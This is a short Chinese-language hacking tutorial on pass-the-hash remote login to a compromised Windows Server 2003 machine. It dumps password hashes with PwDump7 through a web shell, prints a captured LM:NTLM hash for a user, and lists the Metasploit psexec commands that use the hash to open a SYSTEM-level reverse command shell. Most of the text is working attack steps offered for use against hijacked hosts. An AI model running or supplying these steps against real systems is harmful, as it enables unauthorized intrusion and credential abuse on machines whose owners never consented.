利用hash遠程登錄系統

有的時候當咱們拿到系統管理員hash因爲密碼複雜度太高沒法破解時候能夠利用hash直接進行遠程登陸

咱們用到Metasploit裏面的模塊 肉雞爲windwos server 2003 x32系統

1.利用抓哈希工具PwDump7.exe獲取哈希

菜刀輸入打開命令執行  PwDump7.exe>>1.txt

獲取的哈希  

huwei:1010:759B9B71AEA7EE2779B6D67AACF4A147:165CD69A960EEF608596914B58F6DF82:::

這一段就是hash值165CD69A960EEF608596914B58F6DF82

放入放到md5解碼裏面沒解出來

放到彩虹表裏面也沒跑出來

 

這個時候能夠利用msf 了

打開kali 終端輸入命令

msfconsole

輸入模塊利用

use exploit/windows/smb/psexec

show options 查看當前須要填寫的信息

set rhost 肉雞ip

set smbuser huwei

set smbpass 759B9B71AEA7EE2779B6D67AACF4A147:165CD69A960EEF608596914B58F6DF82

set run

shell

會反彈一個system權限cmdshell